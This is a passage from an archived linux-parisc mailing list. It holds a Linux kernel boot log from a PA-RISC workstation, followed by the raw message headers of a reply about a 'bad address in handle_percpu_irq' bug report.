[    1.260000] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    1.400000] NET: Registered protocol family 16
[    1.460000] EISA bus registered
[    1.500000] Searching for devices...
[    1.648000] Found devices:
[    1.684000] 1. Crestone Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x88a, 0x00004 }
[    1.792000] 2. Crestone Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x88a, 0x00004 }
[    1.896000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[    1.988000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    2.100000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    2.208000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    2.316000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    2.420000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    2.536000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    2.640000] 10. Crestone Peak Core RS-232 at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x076, 0x000ad }
[    2.756000] 11. Crestone Peak Core RS-232 at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
[    2.872000] Enabling PDC_PAT chassis codes support v0.05
[    3.796000] Releasing cpu 1 now, hpa=fffffffffe781000
[    4.224000] FP[1] enabled: Rev 1 Model 20
[    4.228000] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
[    4.372000] Whole cache flush 4255702 cycles, flushing 9702864 bytes 1092542 cycles
[    4.372000] Setting cache flush threshold to 2000000 (2 CPUs online)
[    4.596000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    4.728000] sba_ioc_init_pluto: reserving 512Mb of IOVA space for agpgart
[    4.832000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    4.940000] LBA: lmmio_space [0xffffffff80000000-0xffffffff9fffffff] - new
[    5.052000] LBA 0:0: PCI host bridge to bus 0000:00
[    5.116000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    5.196000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff9fffffff] (bus address [0x80000000-0x9fffffff])
[    5.348000] pci_bus 0000:00: root bus resource [mem 0xffffff0000000000-0xffffff0fffffffff]
[    5.456000] pci_bus 0000:00: root bus resource [bus 00-07]
[    5.532000] pci 0000:00:01.0: [1095:3124] type 00 class 0x010400
[    5.532000] pci 0000:00:01.0: reg 0x10: [mem 0xffffffff80088000-0xffffffff8008807f 64bit]
[    5.532000] pci 0000:00:01.0: reg 0x18: [mem 0xffffffff80080000-0xffffffff80087fff 64bit]
[    5.532000] pci 0000:00:01.0: reg 0x20: [io  0x0d00-0x0d0f]
[    5.532000] pci 0000:00:01.0: reg 0x30: [mem 0xffffffff80000000-0xffffffff8007ffff pref]
[    5.532000] pci 0000:00:01.0: supports D1 D2
[    5.544000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    5.672000] LBA 0:2: PCI host bridge to bus 0000:40
[    5.736000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    5.856000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    6.008000] pci_bus 0000:40: root bus resource [mem 0xffffff2000000000-0xffffff2fffffffff]
[    6.116000] pci_bus 0000:40: root bus resource [bus 40-47]
[    6.188000] pci 0000:40:01.0: [1000:0030] type 00 class 0x010000
[    6.188000] pci 0000:40:01.0: reg 0x10: [io  0x14100-0x141ff]
[    6.188000] pci 0000:40:01.0: reg 0x14: [mem 0xffffffffa0260000-0xffffffffa027ffff 64bit]
[    6.188000] pci 0000:40:01.0: reg 0x1c: [mem 0xffffffffa0240000-0xffffffffa025ffff 64bit]
[    6.188000] pci 0000:40:01.0: reg 0x30: [mem 0xffffffffa0100000-0xffffffffa01fffff pref]
[    6.188000] pci 0000:40:01.0: supports D1 D2
[    6.188000] pci 0000:40:01.1: [1000:0030] type 00 class 0x010000
[    6.188000] pci 0000:40:01.1: reg 0x10: [io  0x14000-0x140ff]
[    6.188000] pci 0000:40:01.1: reg 0x14: [mem 0xffffffffa0220000-0xffffffffa023ffff 64bit]
[    6.188000] pci 0000:40:01.1: reg 0x1c: [mem 0xffffffffa0200000-0xffffffffa021ffff 64bit]
[    6.188000] pci 0000:40:01.1: reg 0x30: [mem 0xffffffffa0000000-0xffffffffa00fffff pref]
[    6.188000] pci 0000:40:01.1: supports D1 D2
[    6.204000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    6.332000] LBA 0:3: PCI host bridge to bus 0000:60
[    6.396000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    6.512000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    6.668000] pci_bus 0000:60: root bus resource [mem 0xffffff3000000000-0xffffff3fffffffff]
[    6.776000] pci_bus 0000:60: root bus resource [bus 60-67]
[    6.848000] pci 0000:60:01.0: [1033:0035] type 00 class 0x0c0310
[    6.848000] pci 0000:60:01.0: reg 0x10: [mem 0xffffffffb00a3000-0xffffffffb00a3fff]
[    6.848000] pci 0000:60:01.0: supports D1 D2
[    6.848000] pci 0000:60:01.0: PME# supported from D0 D1 D2 D3hot
[    6.848000] pci 0000:60:01.1: [1033:0035] type 00 class 0x0c0310
[    6.848000] pci 0000:60:01.1: reg 0x10: [mem 0xffffffffb00a2000-0xffffffffb00a2fff]
[    6.848000] pci 0000:60:01.1: supports D1 D2
[    6.848000] pci 0000:60:01.1: PME# supported from D0 D1 D2 D3hot
[    6.848000] pci 0000:60:01.2: [1033:00e0] type 00 class 0x0c0320
[    6.848000] pci 0000:60:01.2: reg 0x10: [mem 0xffffffffb00a1000-0xffffffffb00a10ff]
[    6.848000] pci 0000:60:01.2: supports D1 D2
[    6.848000] pci 0000:60:01.2: PME# supported from D0 D1 D2 D3hot
[    6.848000] pci 0000:60:02.0: [1095:0680] type 00 class 0x010185
[    6.848000] pci 0000:60:02.0: reg 0x10: [io  0x27058-0x2705f]
[    6.848000] pci 0000:60:02.0: reg 0x14: [io  0x27064-0x27067]
[    6.848000] pci 0000:60:02.0: reg 0x18: [io  0x27050-0x27057]
[    6.848000] pci 0000:60:02.0: reg 0x1c: [io  0x27060-0x27063]
[    6.848000] pci 0000:60:02.0: reg 0x20: [io  0x27040-0x2704f]
[    6.848000] pci 0000:60:02.0: reg 0x24: [mem 0xffffffffb00a0000-0xffffffffb00a00ff]
[    6.848000] pci 0000:60:02.0: reg 0x30: [mem 0xffffffffb0000000-0xffffffffb007ffff pref]
[    6.848000] pci 0000:60:02.0: supports D1 D2
[    6.848000] pci 0000:60:03.0: [8086:100e] type 00 class 0x020000
[    6.848000] pci 0000:60:03.0: reg 0x10: [mem 0xffffffffb0080000-0xffffffffb009ffff]
[    6.848000] pci 0000:60:03.0: reg 0x18: [io  0x27000-0x2703f]
[    6.848000] pci 0000:60:03.0: PME# supported from D0 D3hot D3cold
[    6.848000] pci 0000:60:04.0: [131f:2000] type 00 class 0x070002
[    6.848000] pci 0000:60:04.0: reg 0x10: [io  0x26000-0x26007]
[    6.864000] Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000
[    6.976000] LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
[    7.088000] LBA 0:4: PCI host bridge to bus 0000:80
[    7.152000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    7.268000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
[    7.424000] pci_bus 0000:80: root bus resource [mem 0xffffff4000000000-0xffffff4fffffffff]
[    7.532000] pci_bus 0000:80: root bus resource [bus 80-87]
[    7.604000] pci 0000:80:00.0: [10de:00f1] type 00 class 0x030000
[    7.604000] pci 0000:80:00.0: reg 0x10: [mem 0xffffffffd1000000-0xffffffffd1ffffff]
[    7.604000] pci 0000:80:00.0: reg 0x14: [mem 0xffffffffc0000000-0xffffffffcfffffff pref]
[    7.604000] pci 0000:80:00.0: reg 0x18: [mem 0xffffffffd0000000-0xffffffffd0ffffff]
[    7.604000] pci 0000:80:00.0: reg 0x30: [mem 0xffffffffd2000000-0xffffffffd201ffff pref]
[    8.012000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    8.124000] vgaarb: setting as boot device: PCI:0000:80:00.0
[    8.124000] vgaarb: device added: PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none
[    8.308000] vgaarb: loaded
[    8.340000] vgaarb: bridge control possible 0000:80:00.0
[    8.416000] NET: Registered protocol family 2
[    8.476000] TCP established hash table entries: 65536 (order: 7, 524288 bytes)
[    8.572000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    8.664000] TCP: Hash tables configured (established 65536 bind 65536)
[    8.748000] UDP hash table entries: 4096 (order: 5, 131072 bytes)
[    8.828000] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)
[    8.928000] NET: Registered protocol family 1
[    8.988000] PCI: CLS 64 bytes
[    9.136000] Unpacking initramfs...
[   10.168000] Freeing initrd memory: 17428K (000000007eee8000 - 000000007ffed000)
[   10.264000] Chassis warnings not supported.
[   10.320000] Performance monitoring counters enabled for Crestone Peak Slow
[   10.412000] futex hash table entries: 2048 (order: 5, 131072 bytes)
[   10.496000] audit: initializing netlink subsys (disabled)
[   10.564000] audit: type=2000 audit(1439706958.564:1): initialized
[   10.648000] zpool: loaded
[   10.684000] VFS: Disk quotas dquot_6.6.0
[   10.736000] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[   10.828000] alg: No test for stdrng (krng)
[   10.880000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 252)
[   10.980000] io scheduler noop registered
[   11.032000] io scheduler deadline registered
[   11.088000] io scheduler cfq registered (default)
[   11.152000] PDC Stable Storage facility v0.30
[   11.252000] STI GSC/PCI core graphics driver Version 0.9b
[   11.324000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[   11.420000] console [ttyS0] disabled
[   11.488000] 17: ttyS0 at MMIO 0xfffffff0f05e0800 (irq = 76, base_baud = 115200) is a 16550A
[   11.600000] console [ttyS0] enabled
[   11.688000] bootconsole [ttyB0] disabled
[   11.820000] 18: ttyS1 at MMIO 0xfffffff0f05e2800 (irq = 77, base_baud = 115200) is a 16550A
[   11.940000] 0000:60:04.0: ttyS2 at I/O 0x26000 (irq = 74, base_baud = 921600) is a 16550A
[   12.040000] Linux agpgart interface v0.103
[   12.088000] quicksilver: IO PDIR shared with sba_iommu
[   12.164000]  (null): AGP aperture is 512M @ 0x60000000
[   12.228000] [drm] Initialized drm 1.1.0 20060810
[   12.284000] mousedev: PS/2 mouse device common for all mice
[   12.356000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[   12.444000] ledtrig-cpu: registered to indicate activity on CPUs
[   12.516000] NET: Registered protocol family 10
[   12.568000] mip6: Mobile IPv6
[   12.604000] NET: Registered protocol family 17
[   12.656000] mpls_gso: MPLS GSO support
[   12.704000] registered taskstats version 1
[   12.760000] rtc-generic rtc-generic: setting system clock to 2015-08-16 06:36:01 UTC (1439706961)
[   12.880000] Freeing unused kernel memory: 384K (0000000040100000 - 0000000040160000)
[   13.700000] systemd-udevd[64]: starting version 215
[   13.760000] random: systemd-udevd urandom read with 55 bits of entropy available
[   14.204000] SCSI subsystem initialized
[   14.752000] usbcore: registered new interface driver usbfs
[   14.752000] e1000: Intel(R) PRO/1000 Network Driver - version 7.3.21-k8-NAPI
[   14.752000] e1000: Copyright (c) 1999-2006 Intel Corporation.
[   14.988000] Fusion MPT base driver 3.04.20
[   15.044000] Copyright (c) 1999-2008 LSI Corporation
[   15.224000] libata version 3.00 loaded.
[   15.332000] sata_sil24 0000:00:01.0: version 1.1
[   15.384000] sata_sil24 0000:00:01.0: Applying completion IRQ loss on PCI-X errata fix
[   15.652000] usbcore: registered new interface driver hub
[   15.724000] usbcore: registered new device driver usb
[   15.796000] scsi host0: sata_sil24
[   15.840000] scsi host1: sata_sil24
[   16.004000] e1000 0000:60:03.0 eth0: (PCI:33MHz:32-bit) 00:30:6e:f3:5f:10
[   16.096000] e1000 0000:60:03.0 eth0: Intel(R) PRO/1000 Network Connection
[   16.248000] scsi host2: sata_sil24
[   16.332000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[   16.560000] scsi host3: sata_sil24
[   16.560000] pata_sil680 0000:60:02.0: version 0.4.9
[   16.560000] sil680: 133MHz clock.
[   16.604000] scsi host4: pata_sil680
[   16.764000] scsi host5: pata_sil680
[   16.772000] Fusion MPT SPI Host driver 3.04.20
[   16.948000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[   17.032000] ata5: PATA max UDMA/133 cmd 0x27058 ctl 0x27064 bmdma 0x27040 irq 72
[   17.036000] mptbase: ioc0: Initiating bringup
[   17.036000] ata1: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80080000 irq 66
[   17.036000] ata2: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80082000 irq 66
[   17.036000] ata3: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80084000 irq 66
[   17.036000] ata4: SATA max UDMA/100 host m128@0xffffffff80088000 port 0xffffffff80086000 irq 66
[   17.036000] ehci-pci: EHCI PCI platform driver
[   17.688000] ata6: PATA max UDMA/133 cmd 0x27050 ctl 0x27060 bmdma 0x27048 irq 72
[   17.836000] ehci-pci 0000:60:01.2: EHCI Host Controller
[   17.900000] ehci-pci 0000:60:01.2: new USB bus registered, assigned bus number 1
[   17.988000] ehci-pci 0000:60:01.2: irq 71, io mem 0xffffffffb00a1000
[   18.076000] ehci-pci 0000:60:01.2: USB 2.0 started, EHCI 0.95
[   18.144000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
[   18.224000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   18.312000] usb usb1: Product: EHCI Host Controller
[   18.368000] usb usb1: Manufacturer: Linux 4.1.0-1-parisc64-smp ehci_hcd
[   18.448000] usb usb1: SerialNumber: 0000:60:01.2
[   18.504000] hub 1-0:1.0: USB hub found
[   18.552000] hub 1-0:1.0: 5 ports detected
[   18.772000] ohci-pci: OHCI PCI platform driver
[   18.836000] ohci-pci 0000:60:01.0: OHCI PCI host controller
[   18.904000] ohci-pci 0000:60:01.0: new USB bus registered, assigned bus number 2
[   18.992000] ohci-pci 0000:60:01.0: irq 69, io mem 0xffffffffb00a3000
[   19.124000] usb usb2: New USB device found, idVendor=1d6b, idProduct=0001
[   19.204000] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   19.292000] usb usb2: Product: OHCI PCI host controller
[   19.352000] usb usb2: Manufacturer: Linux 4.1.0-1-parisc64-smp ohci_hcd
[   19.392000] ioc0: LSI53C1030 B2: Capabilities={Initiator,Target}
[   19.504000] usb usb2: SerialNumber: 0000:60:01.0
[   19.560000] hub 2-0:1.0: USB hub found
[   19.608000] hub 2-0:1.0: 3 ports detected
[   19.668000] ohci-pci 0000:60:01.1: OHCI PCI host controller
[   19.736000] ohci-pci 0000:60:01.1: new USB bus registered, assigned bus number 3
[   19.824000] ata1: SATA link down (SStatus 0 SControl 0)
[   19.888000] ohci-pci 0000:60:01.1: irq 70, io mem 0xffffffffb00a2000
[   20.020000] usb usb3: New USB device found, idVendor=1d6b, idProduct=0001
[   20.100000] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[   20.188000] usb usb3: Product: OHCI PCI host controller
[   20.196000] scsi host6: ioc0: LSI53C1030 B2, FwRev=01030f00h, Ports=1, MaxQ=255, IRQ=67
[   20.344000] usb usb3: Manufacturer: Linux 4.1.0-1-parisc64-smp ohci_hcd
[   20.424000] usb usb3: SerialNumber: 0000:60:01.1
[   20.480000] hub 3-0:1.0: USB hub found
[   20.524000] hub 3-0:1.0: 2 ports detected
[   20.844000] mptbase: ioc1: Initiating bringup
[   21.376000] ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
[   21.936000] scsi host7: ioc1: LSI53C1030 B2, FwRev=01030f00h, Ports=1, MaxQ=255, IRQ=68
[   22.032000] ata2: SATA link down (SStatus 0 SControl 0)
[   23.496000] scsi 6:0:5:0: Direct-Access     HP 73.4G ST373454LW       HPC2 PQ: 0 ANSI: 3
[   23.592000] scsi target6:0:5: Beginning Domain Validation
[   23.676000] scsi target6:0:5: Ending Domain Validation
[   23.740000] scsi target6:0:5: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.25 ns, offset 63)
[   23.860000] scsi 6:0:6:0: Direct-Access     HP 73.4G ST373454LW       HPC2 PQ: 0 ANSI: 3
[   23.956000] scsi target6:0:6: Beginning Domain Validation
[   24.040000] scsi target6:0:6: Domain Validation skipping write tests
[   24.116000] scsi target6:0:6: Ending Domain Validation
[   24.176000] scsi target6:0:6: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW PCOMP (6.25 ns, offset 63)
[   24.176000] ata3: SATA link down (SStatus 0 SControl 0)
[   25.372000] random: nonblocking pool is initialized
[   26.388000] ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 0)
[   26.460000] ata4.00: ATA-9: Samsung SSD 840 PRO Series, DXM05B0Q, max UDMA/133
[   26.548000] ata4.00: 250069680 sectors, multi 16: LBA48 NCQ (depth 31/32)
[   26.628000] ata4.00: configured for UDMA/100
[   26.680000] scsi: waiting for bus probes to complete ...
[   26.744000] scsi 3:0:0:0: Direct-Access     ATA      Samsung SSD 840  5B0Q PQ: 0 ANSI: 5
[   27.252000] ata4.00: Enabling discard_zeroes_data
[   27.316000] sd 6:0:5:0: [sda] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)
[   27.476000] sd 6:0:5:0: [sda] Write Protect is off
[   27.540000] sd 6:0:5:0: [sda] Mode Sense: d3 00 10 08
[   27.540000] sd 6:0:6:0: [sdb] Spinning up disk...
[   27.552000] sd 3:0:0:0: [sdc] 250069680 512-byte logical blocks: (128 GB/119 GiB)
[   27.552000] sd 3:0:0:0: [sdc] Write Protect is off
[   27.552000] sd 3:0:0:0: [sdc] Mode Sense: 00 3a 00 00
[   27.552000] sd 3:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
[   27.552000] ata4.00: Enabling discard_zeroes_data
[   27.884000]  sdc: sdc1 sdc2 < sdc5 >
[   28.004000] ata4.00: Enabling discard_zeroes_data
[   28.096000] sd 3:0:0:0: [sdc] Attached SCSI disk
[   28.152000] sd 6:0:5:0: Attached scsi generic sg0 type 0
[   28.152000] sd 6:0:5:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA
[   28.240000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   28.344000] sd 6:0:5:0: [sda] Attached SCSI disk
[   28.440000] sd 6:0:6:0: Attached scsi generic sg1 type 0
[   28.504000] sd 3:0:0:0: Attached scsi generic sg2 type 0
[   29.156000] ..........ready
[   38.216000] sd 6:0:6:0: [sdb] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)
[   38.308000] sd 6:0:6:0: [sdb] Write Protect is off
[   38.368000] sd 6:0:6:0: [sdb] Mode Sense: d3 00 10 08
[   38.368000] sd 6:0:6:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
[   38.496000]  sdb: sdb1 sdb2
[   38.548000] sd 6:0:6:0: [sdb] Attached SCSI disk
[   39.880000] EXT4-fs (sda5): mounted filesystem with ordered data mode. Opts: (null)
[   40.604000] systemd[1]: systemd 215 running in system mode. (+PAM +AUDIT +SELINUX +IMA +SYSVINIT +LIBCRYPTSETUP +GCRYPT +ACL +XZ -SECCOMP -APPARMOR)
[   40.764000] systemd[1]: Detected architecture 'parisc64'.
[   41.064000] systemd[1]: Inserted module 'autofs4'
[   41.128000] systemd[1]: Set hostname to <wills>.
[   41.768000] systemd[1]: Cannot add dependency job for unit dbus.socket, ignoring: Unit dbus.socket failed to load: No such file or directory.
[   41.924000] systemd[1]: Cannot add dependency job for unit display-manager.service, ignoring: Unit display-manager.service failed to load: No such file or directory.
[   42.100000] systemd[1]: Expecting device dev-ttyS0.device...
[   42.252000] systemd[1]: Starting Forward Password Requests to Wall Directory Watch.
[   42.344000] systemd[1]: Started Forward Password Requests to Wall Directory Watch.
[   42.436000] systemd[1]: Starting Remote File Systems (Pre).
[   42.592000] systemd[1]: Reached target Remote File Systems (Pre).
[   42.664000] systemd[1]: Starting Dispatch Password Requests to Console Directory Watch.
[   42.760000] systemd[1]: Started Dispatch Password Requests to Console Directory Watch.
[   42.856000] systemd[1]: Starting Paths.
[   42.976000] systemd[1]: Reached target Paths.
[   43.028000] systemd[1]: Starting Encrypted Volumes.
[   43.176000] systemd[1]: Reached target Encrypted Volumes.
[   43.240000] systemd[1]: Starting Arbitrary Executable File Formats File System Automount Point.
[   43.468000] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point.
[   43.580000] systemd[1]: Expecting device dev-disk-by\x2duuid-7b4abae5\x2d4940\x2d4b49\x2d9cce\x2d9a76bdf297ad.device...
[   43.824000] systemd[1]: Expecting device dev-disk-by\x2duuid-d01c8b13\x2d987c\x2d4eaa\x2dac16\x2d4a567841bbd6.device...
[   44.068000] systemd[1]: Expecting device dev-disk-by\x2duuid-ad9c6293\x2d6842\x2d4d30\x2d856b\x2db944974f9e3a.device...
[   44.312000] systemd[1]: Expecting device dev-disk-by\x2duuid-46c35a76\x2deec5\x2d4299\x2dbc6f\x2d8aa32fd5bcef.device...
[   44.556000] systemd[1]: Starting Root Slice.
[   44.720000] systemd[1]: Created slice Root Slice.
[   44.776000] systemd[1]: Starting User and Session Slice.
[   44.932000] systemd[1]: Created slice User and Session Slice.
[   45.000000] systemd[1]: Starting /dev/initctl Compatibility Named Pipe.
[   45.188000] systemd[1]: Listening on /dev/initctl Compatibility Named Pipe.
[   45.272000] systemd[1]: Starting Delayed Shutdown Socket.
[   45.428000] systemd[1]: Listening on Delayed Shutdown Socket.
[   45.496000] systemd[1]: Starting Journal Socket (/dev/log).
[   45.656000] systemd[1]: Listening on Journal Socket (/dev/log).
[   45.728000] systemd[1]: Starting Syslog Socket.
[   45.864000] systemd[1]: Listening on Syslog Socket.
[   45.920000] systemd[1]: Starting udev Control Socket.
[   46.072000] systemd[1]: Listening on udev Control Socket.
[   46.136000] systemd[1]: Starting udev Kernel Socket.
[   46.280000] systemd[1]: Listening on udev Kernel Socket.
[   46.344000] systemd[1]: Starting Journal Socket.
[   46.480000] systemd[1]: Listening on Journal Socket.
[   46.540000] systemd[1]: Starting Sockets.
[   46.660000] systemd[1]: Reached target Sockets.
[   46.712000] systemd[1]: Starting System Slice.
[   46.844000] systemd[1]: Created slice System Slice.
[   46.900000] systemd[1]: Starting File System Check on Root Device...
[   47.072000] systemd[1]: Starting system-systemd\x2dfsck.slice.
[   47.236000] systemd[1]: Created slice system-systemd\x2dfsck.slice.
[   47.320000] systemd[1]: Starting system-getty.slice.
[   47.380000] systemd[1]: Created slice system-getty.slice.
[   47.444000] systemd[1]: Starting system-serial\x2dgetty.slice.
[   47.532000] systemd[1]: Created slice system-serial\x2dgetty.slice.
[   47.624000] systemd[1]: Mounting POSIX Message Queue File System...
[   47.720000] systemd[1]: Starting Create list of required static device nodes for the current kernel...
[   47.848000] systemd[1]: Mounted Huge Pages File System.
[   47.924000] systemd[1]: Starting udev Coldplug all Devices...
[   48.016000] systemd[1]: Mounting Debug File System...
[   48.108000] systemd[1]: Started Set Up Additional Binary Formats.
[   48.212000] systemd[1]: Starting Load Kernel Modules...
[   48.292000] systemd[1]: Starting Journal Service...
[   48.376000] systemd[1]: Started Journal Service.
[   49.752000] systemd-udevd[180]: starting version 215
[   50.028000] EXT4-fs (sda5): re-mounted. Opts: errors=remount-ro
[   51.564000] nouveau 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
[   52.220000] nouveau  [  DEVICE][0000:80:00.0] BOOT0  : 0x043000a4
[   52.292000] nouveau  [  DEVICE][0000:80:00.0] Chipset: NV43 (NV43)
[   52.368000] nouveau  [  DEVICE][0000:80:00.0] Family : NV40
[   52.612000] nouveau 0000:80:00.0: Invalid ROM contents
[   52.700000] nouveau ![   VBIOS][0000:80:00.0] unable to locate usable image
[   52.800000] nouveau E[  DEVICE][0000:80:00.0] failed to create 0x10000001, -22
[   52.904000] nouveau E[     DRM] failed to create 0x00000080, -22
[   53.008000] nouveau: probe of 0000:80:00.0 failed with error -22
[   53.472000] Adding 2657276k swap on /dev/sda6.  Priority:-1 extents:1 across:2657276k FS
[   53.804000] Adding 4194300k swap on /dev/sdb1.  Priority:-2 extents:1 across:4194300k FS
[   55.188000] EXT4-fs (sdb2): mounted filesystem with ordered data mode. Opts: (null)
[   55.316000] EXT4-fs (sda2): mounting ext2 file system using the ext4 subsystem
[   55.412000] EXT4-fs (sda2): mounted filesystem without journal. Opts: (null)
[   56.228000] systemd-journald[169]: Received request to flush runtime journal from PID 1
[   56.920000] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready
[   56.992000] e1000: eth0 NIC Link is Up 100 Mbps Full Duplex, Flow Control: RX/TX
[   57.088000] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad address in handle_percpu_irq
Date: Sun, 16 Aug 2015 20:09:31 +0930
Lines: 124
Approved: news@gmane.org
Message-ID: <55D06863.1090506@gmail.com>
References: <55D0313E.3090602@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439721589 12432 80.91.229.3 (16 Aug 2015 10:39:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Aug 2015 10:39:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 16 12:39:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZQvLo-0002Zo-2Z
	for glpp-linux-parisc@plane.gmane.org; Sun, 16 Aug 2015 12:39:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751164AbbHPKjh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Aug 2015 06:39:37 -0400
Original-Received: from mail-pd0-f181.google.com ([209.85.192.181]:36231 "EHLO
	mail-pd0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751088AbbHPKjg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Aug 2015 06:39:36 -0400
Original-Received: by pdbmi9 with SMTP id mi9so4990932pdb.3
        for <linux-parisc@vger.kernel.org>; Sun, 16 Aug 2015 03:39:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:to:references:from:message-id:date:user-agent:mime-version
         :in-reply-to:content-type:content-transfer-encoding;
        bh=r2s+FQHfL3W1kxiwdruDSG66wFjM5qHoYFprym15re4=;
        b=Dn/zv5EM+xbKIf6k1gjRY5z/9f2OdbM5YHNXAmnYelXv6mzhglMNAaYmZGdiV4Lo9K
         Ql/84xy7lUtRSzxwGkJwz10CRcMxG2CEIrrjsEm62XQHQZdN8lkhUzk/+kuPEB3mbscK
         pC5dHtZEdaoS2FrDUWzy1sNfoeFTV3EBUzccyRcFwrC5/tviU/Du3xHOhvWp7mhZtaVR
         C6449W4bJ3z8LxtKLDVKUpz7Nt6P6i+qZfGCoE7b/c/ERY75j4RrNvuecytujaQ2kRSB
         h2IkOpCbIFtGqPsejt95wOM4CzSi2TRVMGPp+quzQ/+tCjKMlxjTGLl0ZGOivivFN18E
         aCwg==
X-Received: by 10.70.45.198 with SMTP id p6mr77919899pdm.25.1439721575795;
        Sun, 16 Aug 2015 03:39:35 -0700 (PDT)
Original-Received: from [10.1.1.100] (d175-38-210-241.adl800.sa.optusnet.com.au. [175.38.210.241])
        by smtp.gmail.com with ESMTPSA id fm10sm11130512pab.0.2015.08.16.03.39.33
        for <linux-parisc@vger.kernel.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 16 Aug 2015 03:39:35 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
